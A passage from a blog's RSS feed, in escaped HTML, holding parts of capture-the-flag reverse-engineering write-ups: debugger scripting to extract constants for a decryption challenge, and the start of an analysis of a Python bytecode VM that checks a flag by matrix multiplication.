&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">shifts&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">math&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">log2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">regs&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">rax&lt;/span>&lt;span style="color:#111">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># we use math.log2 since divising by 0x8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># is the same as shifting to right by 3 (log2(8) == 3)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="extracting-the-constant-that-increments-v168">Extracting the constant that increments v168&lt;/h4>
&lt;p>now to get the v168 increment constant c, we know from ida that v168 is stored at rbp-0x494, now each loop calls pow 4 times, so in the fifth call of pow (which we are setting a breapoint at), we would be in the second loop, v168 would be incremented one time, it would be equal to the increment constant, so we just get the value at v168.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># after the shifts extraction&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">cont&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rbp&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">regs&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">rbp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">c&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">int&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">from_bytes&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">memory&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">rbp&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">0x494&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">rbp&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">0x494&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#d88200">&amp;#39;little&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>and that’s it!&lt;/p>
&lt;p>after this we store all the extracted values in files. and we use them in the decryption in c, i did this because my decryption was in c.&lt;/p>
&lt;p>here are the final &lt;a href="https://nothoudaifa.github.io/r3ctf-r3loads/extract.py">extract.py&lt;/a> and &lt;a href="https://nothoudaifa.github.io/r3ctf-r3loads/decrypt.c">decrypt.c&lt;/a> scripts.&lt;/p>
&lt;p>after running them we get this jpg&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/output.jpg"
alt="output.jpg"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/r3ctf2025-r3loads/</guid><pubDate>Tue, 08 Jul 2025 00:00:00 +0000</pubDate></item><item><title>writeup for dna chall from smiley ctf 2025</title><link>https://nothoudaifa.github.io/posts/smileyctf2025-dna/</link><description>&lt;h2 id="tldr">TL;DR&lt;/h2>
&lt;p>This challenge features a vm that takes your flag, treats it as a vector and multiples it by a matrix of constant values, then compares the resulting vector to another vector, if the comparision is correct it prints &amp;ldquo;CORRECT!&amp;rdquo;&lt;/p>
&lt;h2 id="initial-analysis">Initial Analysis&lt;/h2>
&lt;p>we are given two files: &lt;code>main.cpython-310.pyc&lt;/code> which is our python compiled vm and &lt;code>vm.dna&lt;/code> which is the vm code, the first thing i did was open &lt;a href="https://pylingual.io/">https://pylingual.io&lt;/a> to get the decompilation of the pyc, it gave me:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Decompiled with PyLingual (https://pylingual.io)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Internal filename: main.py&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Bytecode version: 3.10.0rc2 (3439)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Source timestamp: 2025-06-06 03:24:45 UTC (1749180285)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#111">marshal&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#111">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">s&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">m&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">nm&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">{&lt;/span>&lt;span style="color:#d88200">&amp;#39;A&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;T&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;G&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;C&amp;#39;&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">unlucky&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\x8c&lt;/span>&lt;span style="color:#d88200">oooooooooooonooolooo,ooo&lt;/span>&lt;span style="color:#8045ff">\x9c&lt;/span>&lt;span style="color:#d88200">Sooo&lt;/span>&lt;span style="color:#8045ff">\x06&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x12&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x1b&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">nvo&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">mSo&lt;/span>&lt;span style="color:#8045ff">\x1b&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">lvo&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">nSo&lt;/span>&lt;span style="color:#8045ff">\x1b&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">kvo&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">lSo&lt;/span>&lt;span style="color:#8045ff">\x1b&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">mvo&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">kSo&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0e&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x0b&lt;/span>&lt;span style="color:#d88200">o&amp;lt;oFj!&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">n;&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">n.&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">n(&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">n,&lt;/span>&lt;span style="color:#8045ff">\xc6&lt;/span>&lt;span style="color:#d88200">n&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">m&lt;/span>&lt;span style="color:#8045ff">\x01\x02\xc6&lt;/span>&lt;span style="color:#d88200">n&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">l&lt;/span>&lt;span style="color:#8045ff">\x1b\x02\x1f\xc6&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">eooo&lt;/span>&lt;span style="color:#8045ff">\x95&lt;/span>&lt;span style="color:#d88200">fS&lt;/span>&lt;span style="color:#8045ff">\x1a\x01\x03\x1a\x0c\x04\x16&lt;/span>&lt;span style="color:#d88200">Q&lt;/span>&lt;span style="color:#8045ff">\xb5&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x1a\x01\x03\x1a\x0c\x04\x16&lt;/span>&lt;span style="color:#d88200">booo&lt;/span>&lt;span style="color:#8045ff">\x9c&lt;/span>&lt;span style="color:#d88200">coookmcncncncngn&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\x96&lt;/span>&lt;span style="color:#d88200">uuuuuuuuuuuuruuu}uuu6uuu&lt;/span>&lt;span style="color:#8045ff">\x86\x11&lt;/span>&lt;span style="color:#d88200">uuu&lt;/span>&lt;span style="color:#8045ff">\x11&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\x11&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x11&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x11&lt;/span>&lt;span style="color:#d88200">q&lt;/span>&lt;span style="color:#8045ff">\x11&lt;/span>&lt;span style="color:#d88200">p&lt;/span>&lt;span style="color:#8045ff">\xf1&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">u1u&lt;/span>&lt;span style="color:#8045ff">\xf6&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x13&lt;/span>&lt;span style="color:#d88200">v1u(n&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">q&lt;/span>&lt;span style="color:#8045ff">\x01&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\x01&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x01&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\xd5&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\xd4&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\xf6&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\xf6&lt;/span>&lt;span style="color:#d88200">t1u(e)w&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">p&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">s&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">spulu&lt;/span>&lt;span style="color:#8045ff">\x01&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">q&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">pluluMuvuIu&lt;/span>&lt;span style="color:#8045ff">\x04&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x04&lt;/span>&lt;span style="color:#d88200">g&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\x14&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x11&lt;/span>&lt;span style="color:#d88200">u&amp;amp;u&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">s;&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">q426!&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">q!642&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">q6!24&lt;/span>&lt;span style="color:#8045ff">\x16&lt;/span>&lt;span style="color:#d88200">tuuuuuuuuuuuwuuusuuu&amp;amp;uuu&lt;/span>&lt;span style="color:#8045ff">\x86&lt;/span>&lt;span style="color:#d88200">ouuu&lt;/span>&lt;span style="color:#8045ff">\x1c&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">u(|&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\t&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x01&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\x01&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\xd5&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\xd4&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\xf6&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\xe6&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x04&lt;/span>&lt;span style="color:#d88200">w&amp;amp;u&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\xdc&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\x06\x00\x18\xaf&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x1b\x18\xaf&lt;/span>&lt;span style="color:#d88200">s&lt;/span>&lt;span style="color:#8045ff">\x03\x14\x19\x00\x10\x06\xdc&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">w[E&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x16\xdc&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\x07&lt;/span>&lt;span style="color:#d88200">xuuu&lt;/span>&lt;span style="color:#8045ff">\x8f&lt;/span>&lt;span style="color:#d88200">|I&lt;/span>&lt;span style="color:#8045ff">\x00\x1b\x19\x00\x16\x1e\x0c&lt;/span>&lt;span style="color:#d88200">K&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">r&lt;/span>&lt;span style="color:#8045ff">\x00\x1b\x19\x00\x16\x1e\x0c&lt;/span>&lt;span style="color:#d88200">nuuu&lt;/span>&lt;span style="color:#8045ff">\x86&lt;/span>&lt;span style="color:#d88200">wuuuou&lt;/span>&lt;span style="color:#8045ff">\x8f&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x00\x1b\x19\x00\x16\x1e\x0c&lt;/span>&lt;span style="color:#d88200">*G[I&lt;/span>&lt;span style="color:#8045ff">\x19\x1a\x16\x14\x19\x06&lt;/span>&lt;span style="color:#d88200">K[I&lt;/span>&lt;span style="color:#8045ff">\x11\x1c\x16\x01\x16\x1a\x18\x05&lt;/span>&lt;span style="color:#d88200">K&lt;/span>&lt;span style="color:#8045ff">\xdc&lt;/span>&lt;span style="color:#d88200">q&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">|&lt;/span>&lt;span style="color:#8045ff">\x10\x1b\x00\x18\x10\x07\x14\x01\x10\xaf&lt;/span>&lt;span style="color:#d88200">s&lt;/span>&lt;span style="color:#8045ff">\x06\x1a\x07\x01\x10\x11\x07&lt;/span>&lt;span style="color:#d88200">}uuu&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">q&lt;/span>&lt;span style="color:#8045ff">\x1e\x10\x0c\x06\xdc&lt;/span>&lt;span style="color:#d88200">r&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x06&lt;/span>&lt;span style="color:#d88200">D&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x06&lt;/span>&lt;span style="color:#d88200">G&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">w&lt;/span>&lt;span style="color:#8045ff">\x06&lt;/span>&lt;span style="color:#d88200">F&lt;/span>&lt;span style="color:#8045ff">\xaf&lt;/span>&lt;span style="color:#d88200">v&lt;/span>&lt;span style="color:#8045ff">\x01\x18\x05\xaf&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x06\xaf&lt;/span>&lt;span style="color:#d88200">t&lt;/span>&lt;span style="color:#8045ff">\x1c\x07&lt;/span>&lt;span style="color:#d88200">yuuu&lt;/span>&lt;span style="color:#8045ff">\x07&lt;/span>&lt;span style="color:#d88200">xuuu&lt;/span>&lt;span style="color:#8045ff">\x07&lt;/span>&lt;span style="color:#d88200">xuuu&lt;/span>&lt;span style="color:#8045ff">\x07&lt;/span>&lt;span style="color:#d88200">{uuu&lt;/span>&lt;span style="color:#8045ff">\x07&lt;/span>&lt;span style="color:#d88200">zuuucuuu&lt;/span>&lt;span style="color:#8045ff">\x86&lt;/span>&lt;span style="color:#d88200">guuuqwqtqt{t{tmtotw&lt;/span>&lt;span style="color:#8045ff">\x8a&lt;/span>&lt;span style="color:#d88200">}w&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#8045ff">\x8a&lt;/span>&lt;span style="color:#d88200">iiiiiiiiiiiihiiiniiijiii&lt;/span>&lt;span style="color:#8045ff">\x9a&lt;/span>&lt;span style="color:#d88200">/iii&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\xea&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\xe0&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xe1&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xc9&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">k&lt;/span>&lt;span style="color:#8045ff">\xea&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\xc9&lt;/span>&lt;span style="color:#d88200">k&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">j&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">m&lt;/span>&lt;span style="color:#8045ff">\xed&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">j&lt;/span>&lt;span style="color:#8045ff">\xc9&lt;/span>&lt;span style="color:#d88200">m&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">k&lt;/span>&lt;span style="color:#8045ff">\xc8&lt;/span>&lt;span style="color:#d88200">hhi.i&lt;/span>&lt;span style="color:#8045ff">\xee&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x0f&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">l&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\xed&lt;/span>&lt;span style="color:#d88200">a&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">l&lt;/span>&lt;span style="color:#8045ff">\xea&lt;/span>&lt;span style="color:#d88200">j&lt;/span>&lt;span style="color:#8045ff">\x14&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x15&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">j&lt;/span>&lt;span style="color:#8045ff">\xea&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x08&lt;/span>&lt;span style="color:#d88200">j&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">i:i@n&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\xb3&lt;/span>&lt;span style="color:#d88200">o&lt;/span>&lt;span style="color:#8045ff">\x1b\x08\x07\r\x06\x04\xb3&lt;/span>&lt;span style="color:#d88200">`&lt;/span>&lt;span style="color:#8045ff">\x0f\x1c\x07\n\x1d\x06\x06\x05\x1a\n&lt;/span>&lt;span style="color:#d88200">kiiiiiiiiiiikiiikiii:iii&lt;/span>&lt;span style="color:#8045ff">\x9a&lt;/span>&lt;span style="color:#d88200">aiii&lt;/span>&lt;span style="color:#8045ff">\x15&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x15&lt;/span>&lt;span style="color:#d88200">h(i:i@h&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\xc0&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xc0&lt;/span>&lt;span style="color:#d88200">k&lt;/span>&lt;span style="color:#8045ff">\xb3&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x11\xb3&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x10\x1b&lt;/span>&lt;span style="color:#d88200">liii&lt;/span>&lt;span style="color:#8045ff">\x1b&lt;/span>&lt;span style="color:#d88200">liii&lt;/span>&lt;span style="color:#8045ff">\x93&lt;/span>&lt;span style="color:#d88200">`U&lt;/span>&lt;span style="color:#8045ff">\x1c\x07\x05\x1c\n\x02\x10&lt;/span>&lt;span style="color:#d88200">W&lt;/span>&lt;span style="color:#8045ff">\xb3&lt;/span>&lt;span style="color:#d88200">n&lt;/span>&lt;span style="color:#8045ff">\x1c\x07\x05\x1c\n\x02\x10&lt;/span>&lt;span style="color:#d88200">Miii&lt;/span>&lt;span style="color:#8045ff">\x9a&lt;/span>&lt;span style="color:#d88200">kiiiai&lt;/span>&lt;span style="color:#8045ff">\x93&lt;/span>&lt;span style="color:#d88200">r&lt;/span>&lt;span style="color:#8045ff">\x1c\x07\x05\x1c\n\x02\x10&lt;/span>&lt;span style="color:#d88200">6ZGU&lt;/span>&lt;span style="color:#8045ff">\x05\x06\n\x08\x05\x1a&lt;/span>&lt;span style="color:#d88200">WGU&lt;/span>&lt;span style="color:#8045ff">\x05\x08\x04\x0b\r\x08&lt;/span>&lt;span style="color:#d88200">W&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">iiiiiiiiiiiiiiiijiiiiiii&lt;/span>&lt;span style="color:#8045ff">\x9a&lt;/span>&lt;span style="color:#d88200">Ciii&lt;/span>&lt;span style="color:#8045ff">\x0c&lt;/span>&lt;span style="color:#d88200">i3h&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">i3k&lt;/span>&lt;span style="color:#8045ff">\xee&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xee&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x0f&lt;/span>&lt;span style="color:#d88200">k&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">k&lt;/span>&lt;span style="color:#8045ff">\xed&lt;/span>&lt;span style="color:#d88200">a3j&lt;/span>&lt;span style="color:#8045ff">\xee&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\x0f&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">j&lt;/span>&lt;span style="color:#8045ff">\r&lt;/span>&lt;span style="color:#d88200">m&lt;/span>&lt;span style="color:#8045ff">\xed&lt;/span>&lt;span style="color:#d88200">a3m&lt;/span>&lt;span style="color:#8045ff">\xee&lt;/span>&lt;span style="color:#d88200">imi3l:i@l&lt;/span>&lt;span style="color:#8045ff">\x93&lt;/span>&lt;span style="color:#d88200">s&lt;/span>&lt;span style="color:#8045ff">\x1c\x07\x05\x1c\n\x02\x10&lt;/span>&lt;span style="color:#d88200">6ZGU&lt;/span>&lt;span style="color:#8045ff">\x05\x06\n\x08\x05\x1a&lt;/span>&lt;span style="color:#d88200">WG&lt;/span>&lt;span style="color:#8045ff">\x1c\x07\x05\x1c\n\x02\x10\n&lt;/span>&lt;span style="color:#d88200">kiiiiiiiiiiimiiiliiiziii&lt;/span>&lt;span style="color:#8045ff">\x9a&lt;/span>&lt;span style="color:#d88200">-iii&lt;/span>&lt;span style="color:#8045ff">\x1d&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xea&lt;/span>&lt;span style="color:#d88200">i&lt;/span>&lt;span style="color:#8045ff">\xc9&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span style="color:#8045ff">\x15&lt;/span>&lt;span style="color:#d88200">h&lt;/span>&lt;span 